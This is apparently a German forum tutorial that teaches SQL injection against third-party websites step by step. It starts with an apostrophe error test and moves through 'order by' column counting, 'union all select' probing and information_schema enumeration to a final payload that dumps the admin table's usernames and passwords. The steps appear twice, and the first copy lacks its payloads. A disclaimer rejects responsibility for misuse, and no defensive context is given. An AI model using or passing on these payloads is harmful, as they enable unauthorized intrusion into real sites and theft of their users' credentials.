Achtung: Ich übernehme in keinster Weise Verantwortung dafür wenn ihr durch diesen Guide bei irgentwelchen Seiten was anstellt.
1) Um zu prüfen ob eine Seite per SQL Injection angreifbar ist müsst ihr einen Link finden der so aussieht:
Bei der URL schreibt ihr noch ein ' dahinter, Bsp.:
2) Nun müssen wir rausfinden wie viele "Reihen" in der Datenbank sind, dafür benutzen wir den "order by" Command. Dafür schreiben wir einfach "order by 1--", "order by 2--" hinter die URL, und zwar solange bis ihr einen Seitenfehler erhaltet, Bsp. :
3) Nun benutzen wir den "union" Command um zu sehen welchen Reihen angreifbar sind, dazu schreiben wir hinter die URL,
4) Jetzt müssen wir die MySQL Version, User und Datenbank finden, das machen wir mit den folgenden Commands:
5) Nun ist es unser Ziel alle Reihennamen zu erfahren, das machen wir mit dem folgenden Command:
6) Nun wollen wir die Tabellenamen haben, das machen wir mit folgenden Command:
Ich hoffe euch hatt mein TuT gefallen.
Gruß Kia
1) Um zu prüfen ob eine Seite per SQL Injection angreifbar ist müsst ihr einen Link finden der so aussieht:
Die Seite braucht ganz einfach nur ein = in den URL.Quote:
[Only registered and activated users can see links. Click Here To Register...]=1
Bei der URL schreibt ihr noch ein ' dahinter, Bsp.:
Wenn die Seite bzw. die Datenbank angreifbar ist, kriegt ihr eine MySQL Fehlermeldung so wie diese:Quote:
[Only registered and activated users can see links. Click Here To Register...]'
Wenn die Seite aber normal geladen wird, heißt das das die Seite nicht über diese Methode angreifbar ist.Quote:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29
2) Nun müssen wir rausfinden wie viele "Reihen" in der Datenbank sind, dafür benutzen wir den "order by" Command. Dafür schreiben wir einfach "order by 1--", "order by 2--" hinter die URL, und zwar solange bis ihr einen Seitenfehler erhaltet, Bsp. :
Wenn wir beispielsweise bei "order by 5--" einen Fehler bekommen, heißt das, das die Datenbank, 4 "Reihen" hat.Quote:
[Only registered and activated users can see links. Click Here To Register...] order by 1--
[Only registered and activated users can see links. Click Here To Register...] order by 2--
[Only registered and activated users can see links. Click Here To Register...] order by 3--
[Only registered and activated users can see links. Click Here To Register...] order by 4--
[Only registered and activated users can see links. Click Here To Register...] order by 5--
3) Nun benutzen wir den "union" Command um zu sehen welchen Reihen angreifbar sind, dazu schreiben wir hinter die URL,
Beispiel:Quote:
union all select (Anzahl der Reihen)--,
Wenn die Seite geladen hat, solltet ihr irgentwo auf der Seite Zahlen sehen, z.b. 2 und 3, das heißt, die Reihen 2 und 3 sind angreifbar.Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,3,4--
4) Jetzt müssen wir die MySQL Version, User und Datenbank finden, das machen wir mit den folgenden Commands:
oderQuote:
user()
database()
version()
Das würde dann beispielsweise so aussehen:Quote:
@@user
@@version
@@database
Wenn die Seite geladen hatt sehen wir dann die Version, den MySQL User und den Namen der Datenbank.Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,user(),version(),4--
5) Nun ist es unser Ziel alle Reihennamen zu erfahren, das machen wir mit dem folgenden Command:
Die URL sieht dann so aus:Quote:
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
table_name müsst ihr mit dem Namen der Reihe ersetzen die angreifbar ist.Quote:
[Only registered and activated users can see links. Click Here To Register...] UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
6) Nun wollen wir die Tabellenamen haben, das machen wir mit folgenden Command:
Die URL sieht dann so aus:Quote:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
7) Zu letzt wollen wir das die Seite den Inhalt ausspuckt, z.B. von "username" und "password" von "admin", dazu haben wir diesen Command:Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
Die URL sieht dann so aus:Quote:
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
Falls ihr alles richtig gemacht habt, solltet ihr die Daten des Admins sehen (je nach Seite kommt das PW in MD5 raus).Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,group_concat(username,0x3a,password),4 from admin--
Ich hoffe euch hatt mein TuT gefallen.
Gruß Kia